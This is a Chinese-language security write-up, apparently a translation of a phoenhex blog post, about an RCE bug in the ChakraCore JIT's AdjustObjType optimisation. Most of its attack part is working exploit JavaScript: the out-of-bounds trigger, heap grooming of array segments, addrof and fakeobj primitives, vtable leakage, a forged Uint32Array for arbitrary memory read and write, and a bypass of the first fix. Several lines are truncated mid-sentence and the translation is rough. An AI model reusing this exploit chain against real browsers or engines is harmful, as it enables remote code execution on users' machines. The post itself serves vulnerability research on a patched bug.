RCE：分析ChakraCore中的RCE漏洞利用过程

s小胖不吃饭 / 2019-07-28 10:17:00 / 浏览数 3372

本文介绍了ChakraCore中的一个漏洞，而此漏洞将导致RCE的产生。由于Chakra很长一段时间没有获得更新，所以我们从来没有报告过相关的文章因此这个bug从未作为

漏洞条件

ChakraCore中的JSObjects

在ChakraCore中，与其他引擎一样，对象的"默认"存储模式使用指向保存属性值的连续内存缓冲区的指针，并使用名为Type的对象来描述存储给定属性名称的属性值的位置

因此，JSObject的布局如下：

- vfptr：虚拟表指针
- type：保存Type指针
- auxSlots：指向缓冲区保持对象属性的指针
- objectArray：如果对象具有索引属性，则指向JSArray

为了避免在将新属性添加到对象时重新分配和复制先前的属性，auxSlots缓冲区会以特定大小增长，以考虑将来的属性添加。

ChakraCore中的JSArrays

这里使用3种存储方式来存储数组以进行优化：

NativeIntArray，其中整数以4个字节的形式存储

NativeFloatArray，其中数字以8个字节的形式存储

JavascritpArray将数字存储在其盒装表示中，并直接存储对象指针

JIT背景知识

ChakraCore有一个JIT编译器，它有两层优化：

- SimpleJit

  FullJit
  FullJit层是执行所有优化的层，并使用直接算法优于正在优化的函数的控制流图（CFG）：

  向后传递图表

- 向前传递
- 另一个向后传递（称为DeadStore传递）

在这些过程中，在每个基本块处收集数据以跟踪关于使用表示JS变量的各种符号的各种信息，但也可以表示内部字段和指针。
跟踪的一条信息是向上暴露的符号使用，这基本上允许知道给定的符号是否可以在以后使用并采取其他动作。

漏洞详情

该错误是在2018年9月的提交8c5332b8eb5663e4ec2636d81175ccf7a0820ff2中被引入的。

如果我们查看提交，我们会看到它始终尝试优化一个名为AdjustObjType的指令，并引入了一个名为AdjustObjTypeReloadAuxSlotPtr的新指令。

我们考虑以下代码段：

```
function opt(obj) {

   ...
   // assume obj->auxSlots is full at this stage

   obj.new_property = 1; // [[ 1 ]]

   ...
}
```

JIT必须在[[1]]处生成AdjustObjType指令，以便正确地增长后备缓冲区。

这个优化试图做的是基本上使用向上暴露的使用信息来决定它是否应该生成一个AdjustObjType或AdjustObjTypeReloadAuxSlotPtr，理由是如果该对象上没有更多的

我们可以在下面的方法中看到后向传递中的特定逻辑。

```
void
BackwardPass::InsertTypeTransition(IR::Instr *instrInsertBefore, StackSym *objSym, AddPropertyCacheBucket *data, BVSparse<JitA
{
   Assert(!this->IsPrePass());

   IR::RegOpnd *baseOpnd = IR::RegOpnd::New(objSym, TyMachReg, this->func);
   baseOpnd->SetIsJITOptimizedReg(true);

   JITTypeHolder initialType = data->GetInitialType();
   IR::AddrOpnd *initialTypeOpnd =
       IR::AddrOpnd::New(data->GetInitialType()->GetAddr(), IR::AddrOpndKindDynamicType, this->func);
   initialTypeOpnd->m_metadata = initialType.t;

   JITTypeHolder finalType = data->GetFinalType();
   IR::AddrOpnd *finalTypeOpnd =
       IR::AddrOpnd::New(data->GetFinalType()->GetAddr(), IR::AddrOpndKindDynamicType, this->func);
   finalTypeOpnd->m_metadata = finalType.t;

   IR::Instr *adjustTypeInstr =            // [[ 1 ]]
       IR::Instr::New(Js::OpCode::AdjustObjType, finalTypeOpnd, baseOpnd, initialTypeOpnd, this->func);

   if (upwardExposedUses)
   {
       // If this type change causes a slot adjustment, the aux slot pointer (if any) will be reloaded here, so take it out of
       int oldCount;
       int newCount;
       Js::PropertyIndex inlineSlotCapacity;
       Js::PropertyIndex newInlineSlotCapacity;
       bool needSlotAdjustment =
           JITTypeHandler::NeedSlotAdjustment(initialType->GetTypeHandler(), finalType->GetTypeHandler(), &oldCount, &newCount
       if (needSlotAdjustment)
       {
           StackSym *auxSlotPtrSym = baseOpnd->m_sym->GetAuxSlotPtrSym();
           if (auxSlotPtrSym)
           {
               if (upwardExposedUses->Test(auxSlotPtrSym->m_id))
               {
                   adjustTypeInstr->m_opcode =                 // [[ 2 ]]
                   Js::OpCode::AdjustObjTypeReloadAuxSlotPtr;
               }
           }
       }
   }

   instrInsertBefore->InsertBefore(adjustTypeInstr);
}
```

我们可以看到默认情况下，在[[1]]处，如果测试upwardExposedUses->
Test（auxSlotPtrSym->m_id）成功，它将生成一个AdjustObjType指令并仅将该指令类型更改为其变量AdjustObjTypeReloadAuxSlotPtr。

然后我们可以看到在Lowerer中生成的逻辑处理这些特定指令。

```
void
Lowerer::LowerAdjustObjType(IR::Instr * instrAdjustObjType)
{
   IR::AddrOpnd *finalTypeOpnd = instrAdjustObjType->UnlinkDst()->AsAddrOpnd();
   IR::AddrOpnd *initialTypeOpnd = instrAdjustObjType->UnlinkSrc2()->AsAddrOpnd();
   IR::RegOpnd  *baseOpnd = instrAdjustObjType->UnlinkSrc1()->AsRegOpnd();

   bool adjusted = this->GenerateAdjustBaseSlots(
       instrAdjustObjType, baseOpnd, JITTypeHolder((JITType*)initialTypeOpnd->m_metadata), JITTypeHolder((JITType*)finalTypeOp

   if (instrAdjustObjType->m_opcode == Js::OpCode::AdjustObjTypeReloadAuxSlotPtr)
   {
       Assert(adjusted);

       // We reallocated the aux slots, so reload them if necessary.
       StackSym * auxSlotPtrSym = baseOpnd->m_sym->GetAuxSlotPtrSym();
```

```
        Assert(auxSlotPtrSym);

        IR::Opnd *opndIndir = IR::IndirOpnd::New(baseOpnd, Js::DynamicObject::GetOffsetOfAuxSlots(), TyMachReg, this->m_func);
        IR::RegOpnd *regOpnd = IR::RegOpnd::New(auxSlotPtrSym, TyMachReg, this->m_func);
        regOpnd->SetIsJITOptimizedReg(true);
        Lowerer::InsertMove(regOpnd, opndIndir, instrAdjustObjType);
    }

    this->m_func->PinTypeRef((JITType*)finalTypeOpnd->m_metadata);

    IR::Opnd *opnd = IR::IndirOpnd::New(baseOpnd, Js::RecyclableObject::GetOffsetOfType(), TyMachReg, instrAdjustObjType->m_fun
    this->InsertMove(opnd, finalTypeOpnd, instrAdjustObjType);

    initialTypeOpnd->Free(instrAdjustObjType->m_func);
    instrAdjustObjType->Remove();
}
```

我们可以看到，如果`instrAdjustObjType->m_opcode == Js::OpCode::AdjustObjTypeReloadAuxSlotPtr`，将添加额外的逻辑以重新加载auxSlots指针。

那么问题是，优化实际上并不能正常工作，并且会导致错误。

再次考虑一下片段。

```
function opt(obj) {

    ...
    // assume obj->auxSlots is full at this stage

    obj.new_property = 1; // [[ 1 ]]
}
```

这次我们没有任何代码通过属性存储将导致使用`auxSlots`，这意味着`obj`的`auxSlots`指针不会被设置为暴露，因此优化将发生生成`AdjustObjType`指令。

一个小问题是，确实会重新加载`auxSlots`指针，所以如果我们看一下接下来发生的事情，我们可以发现以下逻辑。

- auxSlots指针是"实时"并加载到寄存器中
- 在写入新属性之前执行AdjustObjType
- auxSlots指针未重新加载
- 使用先前的auxSlots指针写入属性中

因此，我们最终在原始的`auxSlots`缓冲区之后进行了8字节的OOB写操作，经过一些工作证明足以实现高度可靠的R/W原语。

要触发此错误，我们可以使用以下`JavaScript`函数：

```
function opt(obj) {
    obj.new_property = obj.some_existing_property;
}
```

攻击步骤

建立目标

在研究这个bug时，我发现应该考虑的中间步骤。

我的目标是实现两个的原语：

addrof将允许我们泄漏JavaScript对象的内部地址

fakeobj whill将允许我们在内存中的任意地址处获取JavaScript对象的句柄

限制点

我们设置了几个限制，我们必须考虑我们目前对这种情况的了解。

首先，我们不控制写OOB的偏移量。 它将始终是auxSlots缓冲区之后的第一个QWORD。

其次，我们不能写任意值，因为我们将分配一个`JSValue`。
在`Chakra`中，这意味着如果我们分配整数`0x4141`它将写入`0x1000000004141`，双精度将类似地用`0xfffc<<48`标记，任何其他值将意味着写入指针OOB。

找到易于覆盖的目标

我们需要考虑一个合适的目标来进行覆盖操作。Chakra广泛使用虚拟方法，即大多数对象实际上将虚拟表指针作为其第一个qword。
没有infoleak但Control-Flow Guard却存在是无法执行成功的。

为了将这个8字节的OOB转换为一个更有效的原语语句，我最终定位了数组段。

为了处理数组，Chakra使用基于段的实现来避内存扩张的问题。

```
let arr = [];
arr[0] = 0;
arr[0xfff] = 1;
```

在上面的代码片段中，为了避免仅分配0x1000 * 4个字节来存储两个值，Chakra将此数组表示为具有两个段的数组：

- 第一个段开始索引0，其中包含指向的值0
- 第二个段，表示索引0xfff，包含值1

内存中的分配有如下情况：

- uint32_t left：段的最左侧索引
- uint32_t length：该段中设置的最高索引
- uint32_t size：段可以存储的元素数量的实际大小
- segment * next：指向下一个段的指针
  段的元素将在之后内联存储。

正如我们所看到的，段的第一个QWORD有效地保存了两个字段来进行覆盖。更重要的是，我们可以使用标记的整数，并实际使用标记。如果我们写0x4000
OOB，我们将得到一个段，其中left == 0x4000和length == 0x10000，其允许我们以更自由的方式读取段的OOB。

现在我们需要处理如何在auxSlots缓冲区之后放置一个段，以便可以覆盖段的前8个字节。

Chakra Heap Feng-Shui

Chakra中的大多数对象都是通过Recycler来分配的，它允许垃圾收集器完成它的工作。
它是一个基于块的分配器，其中存储器的范围被保留并用于特定大小的块。对我们来最终在同一个块中的大小的对象很可能彼此相邻放置，而如果它们最终不在同一个块中，

值得庆幸的是，我们可以控制我们的auxSlots分配到哪个存储桶，因为我们可以在传递之前控制对象上设置的属性数。我只是很快就尝试向对象添加随机数量的属性，直到

- auxSlots与新数组段分配在同一个存储内存中
- auxSlots已满

如果我们有一个具有20个属性的对象，我们将满足这两个条件。

破坏分区

覆盖数组段的另一个好处是我们将能够通过常规JavaScript检测是否发生了损坏。我使用了以下策略：

1 创建一个NativeFloatArray
2 设置一个索引（0x7000）：这有两个目的，首先关闭它将在数组上设置长度变量，以避免引擎在我们访问OOB索引并创建新段信息
3 用20个属性创建我们的对象：这将在正确的内存中分配我们的auxSlots
4 通过分配索引0x1000创建一个新段
通过在步骤3之后立即执行步骤4，我们尝试在步骤3中分配的对象的auxSlots之后增加索引0x1000的新段的可能性。

然后我们使用触发器将0x4000写入边界。如果我们覆盖成功，我们会将段的索引更改为0x4000，因此如果我们读取该索引处的标记值，我们就会知道它是否有效。

我们可以使用以下代码演示数组段的损坏：

```
// this creates an object of a certain size which makes so that its auxSlots is full
// adding a property to it will require growing the auxSlots buffer
function make_obj() {
   let o = {};
   o.a1=0x4000;
   o.a2=0x4000;
   o.a3=0x4000;
   o.a4=0x4000;
   o.a5=0x4000;
   o.a6=0x4000;
   o.a7=0x4000;
   o.a8=0x4000;
   o.a9=0x4000;
   o.a10=0x4000;
   o.a11=0x4000;
   o.a12=0x4000;
```

```
   o.a13=0x4000;
   o.a14=0x4000;
   o.a15=0x4000;
   o.a16=0x4000;
   o.a17=0x4000;
   o.a18=0x4000;
   o.a19=0x4000;
   o.a20=0x4000;
   return o;
}

function opt(o) {
   o.pwn = o.a1;
}

for (var i = 0; i < 1000; i++) {
       arr = [1.1];
       arr[0x7000] = 0x200000 // Segment the array
       let o = make_obj(); //
       arr[0x1000] = 1337.36; // this will allocate a segment right past the auxSlots of o, we can overwrite the first qword w
       opt(o);
       // now if we triggered the bug, we overwrote the first qword of the segment
       // for index 0x1000 so that it thinks the index is 0x4000 and length 0x10000
       // (tagged integer 0x4000)
       // if we access 0x4000 and read the marker value we put, then we know it was corrupted
       if (arr[0x4000] == 1337.36) {
           print("[+] corruption worked");
           break;
       }
   }
```

我们现在可以从索引`0x4000`开始访问`arr`并读取超过缓冲区末尾的路径。
同样重要的是要注意，因为`arr`被声明为包含`float`的数组，所以它将被表示为`NativeFloatArray`，我们将内存中的值读取为数字！

建立Addrof

先前的操作可以帮助我们将设计稳定的addrof原语。 我们要做的是实现一个布局，其中我们损坏的段直接由包含对象指针的数组在内存中跟随。
通过从我们的段中读取OOB，我们将能够读取这些指针值并将其作为原始数字返回到JavaScript中。

这就是addrof设置的样子：

```
addrof_idx = -1;
function setup_addrof(toLeak) {
   for (var i = 0; i < 1000; i++) {
       addrof_hax = [1.1];
       addrof_hax[0x7000] = 0x200000;
       let o = make_obj();
       addrof_hax[0x1000] = 1337.36;
       opt(o);
       if (addrof_hax[0x4000] == 1337.36) {
           print("[+] corruption done for addrof");
           break;
       }
   }
   addrof_hax2 = [];
   addrof_hax2[0x1337]  = toLeak;

   // this will be the first qword of the segment of addrof_hax2 which holds the object we want to leak
   marker = 2.1219982213e-314 // 0x100001337;

   for (let i = 0; i < 0x500; i++) {
       let v = addrof_hax[0x4010 + i];
       if (v == marker) {
           print("[+] Addrof: found marker value");
           addrof_idx = i;
           return;
       }
   }

   setup_addrof();
```

```
}
var addrof_setupped = false;
function addrof(toLeak) {
   if (!addrof_setupped) {
       print("[!] Addrof layout not set up");
       setup_addrof(toLeak);
       addrof_setupped = true;
       print("[+] Addrof layout done!!!");
   }
   addrof_hax2[0x1337] = toLeak
   return f2i(addrof_hax[0x4010 + addrof_idx + 3]);
}
```

建立 Fakeobj

构建fakeobj我们将做同样的事情构建fakeobj。我们将覆盖JavascriptArray的一部分并在之后为NativeFloatArray放置一个段。
然后，我们将能够在float数组中伪造指针值，并通过从对象数组段中读出超出范围的未绑定值表示指针的边界来获取指针。

```
function setup_fakeobj(addr) {
   for (var i = 0; i < 100; i++) {
       fakeobj_hax = [{}];
       fakeobj_hax2 = [addr];
       fakeobj_hax[0x7000] = 0x200000
       fakeobj_hax2[0x7000] = 1.1;
       let o = make_obj();
       fakeobj_hax[0x1000] = i2f(0x404040404040);
       fakeobj_hax2[0x3000] = addr;
       fakeobj_hax2[0x3001] = addr;
       opt(o);

       if (fakeobj_hax[0x4000] == i2f(0x404040404040)) {
           print("[+] corruption done for fakeobj");
           break;
       }
   }
   return fakeobj_hax[0x4000 + 20] // access OOB into fabeobj_hax2
}

var fakeobj_setuped = false;
function fakeobj(addr) {
   if (!fakeobj_setuped) {
       print("[!] Fakeobj layout not set up");
       setup_fakeobj(addr);
       fakeobj_setuped = true;
       print("[+] Fakeobj layout done!!!");
   }
   fakeobj_hax2[0x3000] = addr;
   return fakeobj_hax[0x4000 + 20]
}
```

获取任意读写原语

实现读写原语的步骤非常简单，我在SSTIC 2019的演示中对它进行了解释。

为了得到一个读写原语，我们将伪造一个Uint32Array，以便我们可以控制它的缓冲区指针。

为了伪造Chakra中的类型数组，我们必须知道它的vtable指针，因为它将在我们赋值时使用。我们的第一步是泄漏vtable指针并使用静态偏移计算我们想要的vtable指

为此，我们将使用这样的事实：当使用新的Array(<size>)分配时，数组达到一定的小尺寸将使其数据内联存储。这与我们的addrof原语相结合，使我们能够将任意数据

为了释放vtable内存，我们将使用以下策略：

- 分配内联数组a
- 分配一个内联数组b，使其在a之后
- 伪造一个Uint64Number朝向a的末尾，以便保持该值的字段与b的vtable指针重叠
- 在我们的假数字上调用parseInt，它会将vtable指针作为数字返回

为了伪造Uint64Number，我们只需要伪造一个Type，即Uint64Number，并且有些值设置为有效的地址

其逻辑如下：

```
let a = new Array(16);
let b = new Array(16);

let addr = addrof(a);
let type = addr + 0x68; // a[4]

// type of Uint64
a[4] = 0x6;
a[6] = lo(addr); a[7] = hi(addr);
a[8] = lo(addr); a[9] = hi(addr);

a[14] = 0x414141;
a[16] = lo(type)
a[17] = hi(type)

// object is at a[14]
let fake = fakeobj(i2f(addr + 0x90))
let vtable = parseInt(fake);

let uint32_vtable = vtable + offset;
Now we have all we want to fake our typed array and this will just require some more dancing around pointers which is pretty s

type = new Array(16);
type[0] = 50; // TypeIds_Uint32Array = 50,
type[1] = 0;
typeAddr = addrof(type) + 0x58;
type[2] = lo(typeAddr); // ScriptContext is fetched and passed during SetItem so just make sure we don't use a bad pointer
type[3] = hi(typeAddr);

ab = new ArrayBuffer(0x1338);
abAddr = addrof(ab);

fakeObject = new Array(16);
fakeObject[0] = lo(uint32_vtable);
fakeObject[1] = hi(uint32_vtable);

fakeObject[2] = lo(typeAddr);
fakeObject[3] = hi(typeAddr);

fakeObject[4] = 0; // zero out auxSlots
fakeObject[5] = 0;

fakeObject[6] = 0; // zero out objectArray
fakeObject[7] = 0;

fakeObject[8] = 0x1000;
fakeObject[9] = 0;

fakeObject[10] = lo(abAddr);
fakeObject[11] = hi(abAddr);

address = addrof(fakeObject);

fakeObjectAddr = address + 0x58;

arr = fakeobj(i2f(fakeObjectAddr));
```

我们现在可以设计我们的读写原语如下：

```
memory = {
   setup: function(addr) {
       fakeObject[14] = lower(addr);
       fakeObject[15] = higher(addr);
   },
   write32: function(addr, data) {
       memory.setup(addr);
       arr[0] = data;
   },
   write64: function(addr, data) {
```

```
        memory.setup(addr);
        arr[0] = data & 0xffffffff;
        arr[1] = data / 0x100000000;
    },
    read64: function(addr) {
        memory.setup(addr);
        return arr[0] + arr[1] * BASE;
    }
};


print("[+] Reading at " + hex(address) + " value: " + hex(memory.read64(address)));

memory.write32(0x414243444546, 0x1337);
```

绕过第一个修复

该错误最初是固定的，因此只需分配常规属性就不会使我们我们再触发错误。 但是，可以定义一个具有特殊处理的存取器，以便触发相同的情况。

我们需要改变的是make_obj和opt函数，如下所示：

```
function make_obj() {
    let o = {};
    o.a1=0x4000;
    o.a2=0x4000;
    o.a3=0x4000;
    o.a4=0x4000;
    o.a5=0x4000;
    o.a6=0x4000;
    o.a7=0x4000;
    o.a8=0x4000;
    o.a9=0x4000;
    o.a10=0x4000;
    o.a11=0x4000;
    o.a12=0x4000;
    o.a13=0x4000;
    o.a14=0x4000;
    o.a15=0x4000;
    o.a16=0x4000;
    o.a17=0x4000;
    o.a18=0x4000;
    //o.a19=0x4000;
    //o.a20=0x4000;
    return o;
}

function opt(o) {
    o.__defineGetter__("accessor",() => {})
    o.a2; // set auxSlots as live
    o.pwn = 0x4000; // bug
}
```

第一次修复后写入提交e149067c8f1a80462ac77d863b9bfb0173d0ced3

结论

在这篇文章中，我们能够了解如何使用有限的原语进行破坏攻击。 我希望大家喜欢这篇文章。 谢谢:)

■■■■■■■■■■■■■■(https://phoenhex.re/2019-07-10/ten-months-old-bug)

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板